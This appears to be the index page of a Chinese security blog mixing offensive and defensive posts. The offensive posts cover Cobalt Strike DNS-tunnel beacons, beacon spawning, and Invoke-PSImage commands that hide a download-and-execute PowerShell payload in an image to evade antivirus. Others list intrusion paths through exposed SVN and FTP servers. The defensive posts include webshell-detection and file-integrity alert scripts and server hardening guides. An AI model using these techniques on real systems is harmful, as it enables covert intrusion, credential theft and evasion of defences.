关于接下来的路

1
2
首先,在这里先跟兄弟们道个歉,可能从今天开始,我就要独自完成一整套稍微系统点的内网渗透教程
并准备整理出书,所以,博客的更新不得不先暂停一段时间,说实话,这也是思考很久之后的结果

主要是考虑到以下原因

1
一、博客中的内容过于松散杂乱,并不适合系统学习

1
2
二、随着文章量越来越大,加上自己的不断成长,总是会不知不觉发现之前文章中还存在着各种不完美
但苦于个人精力有限并不是每个地方都能及时看到,所以现在才想全部重新系统的开始,对大家来讲,这无疑是件好事,当然,质量肯定会比之前那些要好很多很多
1
2
三、另外,也是想通过这种方式来时刻督促着自己学习和巩固,因为这对自己本身就是一种比较大的挑战
`你自己会` 和 `你能把别人清清楚楚的讲会` 是完全两个不同的理解级别,有些朋友可能深有体会
Read More

对 Cobalt Strike DNS隧道的理解与实战

0x01 开始之前,有必要先稍微理解下基于dns beacon的大致通信过程,其实,非常非常简单,前提是你对dns的解析过程早已经烂透于心,不熟悉的朋友可以先去参考前段时间写的 [DNS 深度理解 一] ,把基础打扎实了,再回过头来理解这些东西自然就易如反掌了

1
2
3
-> beacon shell会向指定的域名发起正常的dns查询
-> 中间依然是经过一些列的常规dns迭代及递归查询,大致过程就是,一直从根开始找,直到找到我们自己的ns服务器,最后再定位到团队服务器ip,仅此而已
-> 也就是说,第一次通信可能会慢点,后续就会稍微快些,不过说实话,dns再快也快不到哪里去,毕竟,我们要的是足够的隐蔽,而不一味追求速度,不然容易露点

0x02 废话说完,我们就开始来尝试在实战中应用,首先,你要先买台vps,亚马逊或者vultr都挺不错的,自己也一直在用,之后装好系统,推荐用ubuntu,此处演示用的是ubuntu 16.04.2,具体的系统安装方法直接一路点点点就好了,全程傻瓜化,大概等个六七分钟,待系统初始化完成就可以用ssh连上去了

Read More

灵活使用 cobalt strike 的 `spawn` 功能

0x01 关于 beacon 强大的派生功能

1
2
3
4
5
6
7
简单理解,所谓的`派生`,即仅仅通过一个beacon shell就可以再孵化出n个shell,shell与shell之间相当于以一种级联的形式存在的
而团队服务器则位于这些节点的根节点位置,连接这些节点的则是`beacon隧道`自己,此功能可有效提高一个渗透团队成员间的协同作战能力,快速共享渗透资源
当然,这也势必会在后期形成一个非常复杂的`渗透网络`,不过这也正好方便大家同时多点切入,说白点儿,其实就类似于一个大型的分布式入侵系统
而这一切的根本保证就是我们在公网中的各个团队服务器节点,只要团队服务器节点不挂,权限就不太容易丢,除非活不干净,被人主动发现了
因为其内部涉及到的细节还非常深,也绝不是一两句话就能说清楚的,但作为使用者,我们只需理解其大致的工作流程即可
如果你自己真的有非常强的 RAT & 逆向 & 协议分析 能力,可以再继续深入研究,始终认为,cobalt strike 确实是一个非常值得深入学习的优秀样本
如果能真正把它搞通透了,基础协议这一块对你来讲,基本就不再有盲区,废话不多说,我们还是在实战中多多体会吧...

Read More

通过图片免杀执行远程powershell代码

1
2
3
4
https://github.com/klionsec/Invoke-PSImage
C:\>powershell -exec bypass
PS C:\> Import-Module .\Invoke-PSImage.ps1
PS C:\> Invoke-PSImage -Script .\Download-Execute-PS.ps1 -Image .\large.JPG -Out .\reverse_shell.png -Web

免杀抓取系统用户明文密码


Read More

实时精准侦测站点目录中的各类 webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
# author by klion
# 2017.12.25
# Delete webshell auto
webshell_log="/var/log/webshell.log"
upload_shell="/var/log/modify.tmp"
# 只要一检测到有新事件发生就立马打包上传检测
[ -s $webshell_log ] &&{
awk -F " " '{print $3}' $webshell_log |grep -E ".php$"| sort -u > $upload_shell
cat $upload_shell |xargs zip ./maybeshell.zip
echo `curl https://scanner.baidu.com/enqueue -F archive=@maybeshell.zip` | mail -s "webshell detect url api" klion@protonmail.com
sleep 5
> $webshell_log && > $upload_shell && rm -fr ./maybeshell.zip
}
Read More

用shell对指定站点进行简单的实时入侵预警

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
# author by klion
# 2017.12.25
# Real-time monitoring of Web Directory script
web_dir="/usr/local/nginx/html/bwapp/bWAPP/"
oldnum=`wc -l web_history_db.log | awk -F " " '{print $1}'`
newnum=`find $web_dir -type f | wc -l`
md5num=`md5sum -c web_history_db.log | grep -i FAILED | wc -l`
# 先对指定的站点目录创建指纹库
[ ! -f web_history_db.log ] && {
find $web_dir -type f | xargs md5sum > ./web_history_db.log
}
# 和新文件对比指纹,如果发现不对,就马上发信通知,并带上被改动的文件路径一起
[ $md5num -ne 0 ] && {
md5sum -c web_history_db.log | grep -i "FAILED" | awk -F ":" '{print $1}' > web_mod_`date +%Y-%m-%d-%H-%M-%S`.web.log
log_file=`ls -l *.web.log | head -n 1 | awk -F " " '{print $9}'`
mail -s "Your website may be hacked, Please check it as soon as possible" klion@protonmail.com < $log_file;sleep 5
rm -fr $log_file
}
# 对比文件个数,发现不对,同样是立马发信,因为有可能要同时监控很多个站点目录,所以就顺便把具体的站点路径也带上了
[ $oldnum -ne $newnum ] && {
echo "website directory is $web_dir" | mail -s "web directory have new file created " klion@protonmail.com ;sleep 5
}
Read More

keepalived + nginx 初步实现高可用

0x01 关于 keepalived

1
2
早期是专为 `LVS` 设计的,主要用来监控LVS集群中各个节点状态
内部基于 `VRRP协议` 实现,即`虚拟路由冗余协议`,从名字不难看出,协议本身是用于保证实现路由节点高可用的

0x02 所谓的 VRRP 协议

1
2
3
4
5
6
7
简单来讲,即将N台提供相同功能的路由器组成一个路由器组,在这个组里有一个master和多个backup
一般情况下,master是由选举算法产生的,另外需要注意的是,只有在 master 上才有一个用于对外提供服务的虚拟ip
其它的backup都是没有的,当master在对外提供服务时,其它的backup又在干什么呢
很简单,当master在对外提供服务时,它同时也在不停的向所有的backup发送VRRP状态信息 `说白点儿就是心跳包`
告诉所有backup们,说,'我还没累死,你们先歇着,等我挂了,你们再上',然后,所有的backup就会一直在那儿闲着不停地接收这样的状态信息
当某一时刻,backup突然没再接到这样的状态回应时,就说明master已经光荣牺牲了
所有的backup会再重新用选举算法,把优先级最高的backup升级为master继续对外提供服务,以此保证了服务的持续可用性,即所谓的高可用

0x03 借助 keepalived 在web上的高可用实现

1
2
3
首先,在所有需要进行高可用的web节点机器上部署好keepalived,并在节点中设置一个master,其它的则全部设为backup
一旦backup接收不到来自master的心跳数据,即认为master已挂掉,backup随即就会接管master的所有资源数据
master状态恢复时,backup会把所有的资源数据再移交给master处理,此,即为最简单的web高可用实现

Read More

利用 `nginx反向代理` 实现的动静分离

0x01 关于 动静分离

1
2
主要用于一些较大型的站点架构,这样做一定程度上可以有效减轻后端节点压力,也就是说,有时候你在前端url中看到的一个目录,其后端对应的很可能就是一个集群
另外,这样会使网站更加静态化,利于缓存,可显著提高网站访问速度,有效实现前后端解耦,但这样无疑会加大开发的繁琐程度,前后端只能通过各种接口进行通信

0x02 此次演示环境

1
2
3
NginxHttp ip: 192.168.3.49 对应域名: reverse.org nginx反向代理服务器
OldLamp ip: 192.168.3.45 对应域名: www.bwapp.cc 假设为动态服务器
OldLnmp ip: 192.168.3.42 对应域名: test.bwapp.org 假设为静态服务器

0x03 务必先统一所有机器的host解析,因为等会儿要直接用域名的方式往后抛,如下

1
2
3
4
5
# vi /etc/hosts
192.168.3.42 test.bwapp.org bwapp.org
192.168.3.45 bwapp.cc www.bwapp.cc
192.168.3.75 lvs.org
192.168.3.49 reverse.org

Read More

初探 LDAP 安全 [ 一 ]

0x01 关于 ldap 的一些简单科普

1
2
3
4
5
6
7
`ldap` 基于tcp/ip的轻量级目录访问协议,属于X.500目录协议族的一个简化版本
你可以暂时把它粗暴的理解成 `一种特殊类型的数据库` ,通常,这种数据库文件后缀都为`.ldif`,并使用特殊的节点查询语句来获取相应数据
实际生产环境中,主要还是用它来做各种查询比较多,既是查询,也就意味着肯定会有大量的读操作
虽然,ldap也支持一些简单的更新功能,即写,但一般都不会用,因为它在写方面的效率并不高
如果真的是写比较多,直接用各种关系型数据库代替就好了,实在没必要用ldap,毕竟,术业有专攻
另外,ldap 跨平台,功能简洁,易管理,配置,读性能也不错,亦可分布式部署`不知道是不是可以把它的分布式理解成windows域的目录树,目录林概念`
用的最多的可能就是进行`集中身份验证`,最后,我们还需要知道的是,默认情况下,ldap的所有数据都是直接以明文传输的,容易被截获,不过好在它支持ssl

0x02 其它的一些常用目录服务工具

1
2
3
4
X.500 过于庞大臃肿
ldap 轻量且配置简单
windows活动目录 有平台限制
NIS 个人暂时还没接触过

0x03 了解ldap内部数据的大致存储方式

1
2
3
4
5
6
和常规关系型数据库不同的是,ldap并非按照常规的库,表,字段方式来存储数据
而是按照一种特殊的倒树状结构层级来组织管理数据,此处的树指的就是目录信息树,即`DIT`
所谓的目录信息树其实相当于专门用来进行读操作的数据库
在DIT内部则由N个条目`entry`所组成,就相当于我们常规数据库表中每条具体的记录
而条目的内容则是由具有唯一标识名`DN`的属性[Attribute]及属性对应的值[value]所组成的这么一个集合
条目为ldap中最基础的操作单位,通常对ldap的增删改查都是以条目为基本单元进行的

Read More

Tomcat 安全部署实战指南

0x01 关于Tomcat,更多详情大家可直接参考百科说明

1
https://zh.wikipedia.org/wiki/Apache_Tomcat

此次演示环境

1
2
CentOS7 x86_64 ip: 192.168.3.64
Apache Tomcat/8.5.24 建议大家使用较新版的稳定版本

0x02 首先,在正式部署Tomcat之前,需要先来准备好jdk环境,因为毕竟底层还是在靠java来处理,所以必须要先得有java的运行环境才行,其实,在实际生产环境中,也可以单独使用jre,不过个人觉得这和安全的关系并不大,试想,如果你手里都已经拿到了一个可以运行java的环境了,我在本地用对应版本的jdk编译好了再丢上运行也是一样,防不住啥,太泛泛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# tar xf jdk-8u151-linux-x64.tar.gz
# mv jdk1.8.0_151/ /usr/local/
# ln -s /usr/local/jdk1.8.0_151/ /usr/local/jdk
# tar xf apache-tomcat-8.5.24.tar.gz
# mv apache-tomcat-8.5.24 /usr/local/
# ln -s /usr/local/apache-tomcat-8.5.24/ /usr/local/tomcat
# ll /usr/local/
# vi /etc/profile
export JAVA_HOME=/usr/local/jdk/
export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
export CLASSPATH=.$CLASSPATH:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$JAVA_HOME/lib/tools.jar
export TOMCAT_HOME=/usr/local/tomcat
# source /etc/profile
# java -version
# javac

Read More

跨平台快速文件共享 Samba

0x01 关于smaba

1
2
主要用于实现不同系统平台间的文件共享,配置非常简单,轻量,适合用于常规办公内网环境中
linux <==> windows <==> unix

此次演示环境

1
2
CentOS6.9 x86_64 ip:192.168.3.55 samba服务器
CentOS6.9 x86_64 ip:192.168.3.57 用来模拟smb客户端进行访问测试

0x02 samba服务默认所监听的端口

1
2
137/udp,138/udp nmb 进程提供netbios解析,以满足基于 CIFS 协议的共享访问环境
138/tcp,445/tcp smb 进程主要为客户端提供文件共享,打印机服务以及用户权限验证

0x03 使用samba客户端工具 smbclient,其实有些类似于ftp的客户端工具,也是一种交互式的访问

在linux下使用smbclient访问windows中的共享目录

1
2
3
# smbclient -L 192.168.3.23 -U administrator
# smbclient //192.168.3.23/linux_dir -U dcadmin
# mount -t cifs //192.168.3.23/linux_dir /mnt/windows/ -o username=dcadmin 注意,此处要使用cifs协议进行挂载

Read More

DNS 深度理解 [ 一 ]

0x01 首先,我们先来简单回顾下DNS的基本解析流程, 比较简单,如下

1
2
3
4
5
6
7
8
9
10
-> 以客户端浏览器访问 www.rootkit.org 域名为例,首先,它会去检查当前浏览器缓存,如果有,就直接响应,如果没有,就继续往下找
-> 接着,操作系统会去检查自己的host文件,如果从中没找到对应关系,会再到系统dns缓存中查,如果缓存中有,就直接返回该域名所对应的ip
-> 如果缓存中没有,则会向我们事先设置好的dns服务器 [ 一般有两个, 主 & 备 ] 去请求,即所谓的`递归查询`,dns服务器首先会到自身解析数据库中去查
-> 如果dns服务器在自己的解析库中也没找到,它就会自动帮我们向根发送询问请求
-> 此时,根看到要请求的是org的后缀,就会把org所在的ns服务器告诉我们的dns
-> 然后,我们的dns服务器就会去请求org所在的ns服务器
-> 当请求到达org ns服务器时,org一看域名是在rootkit这个域下的,就会把rootkit所在的ns服务器再告诉我们的dns服务器
-> 再然后,我们的dns服务器就会去请求rootkit这个域的ns服务器
-> rootkit这个域的ns服务器一看是要访问www就直接找到了www对应的A记录的ip,并把它丢给我们的dns,上面逐个询问的过程,即 `迭代查询`
-> 最后,我们的dns再把最终解析到的这个ip丢给我们的客户端,然后客户端就直接拿着去访问了,如下,访问google.com时的简易流程图

Read More

不再让 `泄露` 拖你的后腿 [ subversion篇 ]

0x01 关于 svn

1
2
3
同属C/S架构,对于svn服务端来讲,任何一个文件,在任何时刻的变化,都会被svn详细记录,并自动备份修改之前的结果,方便后续回滚
其实,底层也是靠一个独立的`文件系统 FSFS`在维护,更多内部工作细节,大家可以直接去参考百科说明,此处废话不多讲,我们真奔主题...
...

演示环境,注,此处为独立部署svn服务器,并非配合web服务一起使用

1
2
CentOS6.9_x86_64 ip: 192.168.3.59
win7cn ip: 192.168.3.70

0x02 作为一名入侵者,从svn中你都能发掘到什么宝藏

1
2
3
4
5
6
可能最容易拿到的就是数据库的各种连接账号密码,前提是,目标数据库允许外连,这样你才能更优雅的脱裤或者想办法构造上传webshell
一些邮箱账号密码,如果目标有自己的vpn或者owa之类的入口还是很值得尝试的
直接的后端代码,除了能局部审下代码之外,在注释里面也许还能看到一些关于开发人员的敏感信息
其它的各种敏感配置信息,非常多,这里就不一一细说了
注意,有些信息,确实不能让我们一刀毙敌,但高效的渗透往往是对各类敏感信息的相互配合及深度利用,这非常重要
...

Read More

简述 FTP 入侵与防御 [ vsftpd ]

0x01 首先,我们先来简单思考下,当你面对一台 ftp 时,到底能做些什么

1
2
3
4
5
6
7
0day,抱歉,并不在今天的讨论范畴 ^_^
允许匿名可写,直接上传webshell,一般极小的个人站才有可能,ftp目录即网站目录
允许匿名下载,造成的敏感文件信息泄露
爆破,亦可造成敏感配置泄露
嗅探,搜集各种明文账号密码,然后再拿着这些账号密码,去撞目标的其它入口,或以此进行进一步的内网渗透
提权,linux平台下基本不可能
...

0x02 相对主流的一些ftp工具

1
vsftpd proftpd filezilla ...

0x03 深入理解ftp的主动与被动工作模式

命令连接

1
2
3
在客户端向ftp服务端发起连接请求时,客户端会随机选择本地的某个tcp端口与ftp服务端的21端口进行连接
这中间会进行一系列的身份验证过程,待验证通过后,客户端与ftp服务端即会成功建立 `命令连接`
所谓的 `命令传输连接` 也就是说,仅仅只会用这个连接来传输命令本身

主动模式

1
2
3
4
在 `命令连接` 建立成功后,客户端可能还需要进行一系列的数据传输动作,如,上传,下载文件...
此时,客户端会先在本地另启一个端口监听等待连接,并利用先前与ftp客户端建立好的`命令连接`通道,告诉ftp服务端客户端所监听的端口
而后,ftp服务端会利用自身的20端口和刚才ftp客户端所告知的端口进行数据连接,随后就开始利用此连接来进行各类数据传输
注意,此时`数据连接`在建立的过程中,是ftp服务端的20端口主动连接FTP客户端的随机端口的,也就是我们所说的`主动模式`

Read More

如何将你的 apache 把控的'密不透风'

0x01 为防止配置或端口冲突,在装之前,你需要先仔细检查当前系统有没有装apache,如果有先把apache服务停掉,然后卸载apache,等会儿用源码重新编译安装

1
2
# rpm -qa httpd
# rpm -e --nodeps * 强制卸载apache

演示环境

1
2
CentOS6.8 x86_64 最小化,带基础库安装 eth0 : 192.168.3.45 eth1 : 192.168.4.16 eth2 : 192.168.5.16
httpd-2.2.34.tar.gz apache官方提供的源码包

0x02 下载apache源码包,这里暂时选择2.2.x系列的最新版,不建议再用比这个还老的版本了,漏洞比较多

1
2
# wget http://apache.website-solution.net/httpd/httpd-2.2.34.tar.gz
# tar xf httpd-2.2.34.tar.gz && cd httpd-2.2.34

0x03 直接到源码中去改掉apache的详细版本信息,跟部署nginx一样,尽可能地扰乱入侵者的判断,这里就把它模拟成IIS 7.5,实际系统应为win server 2008r2

1
# vi include/ap_release.h

Read More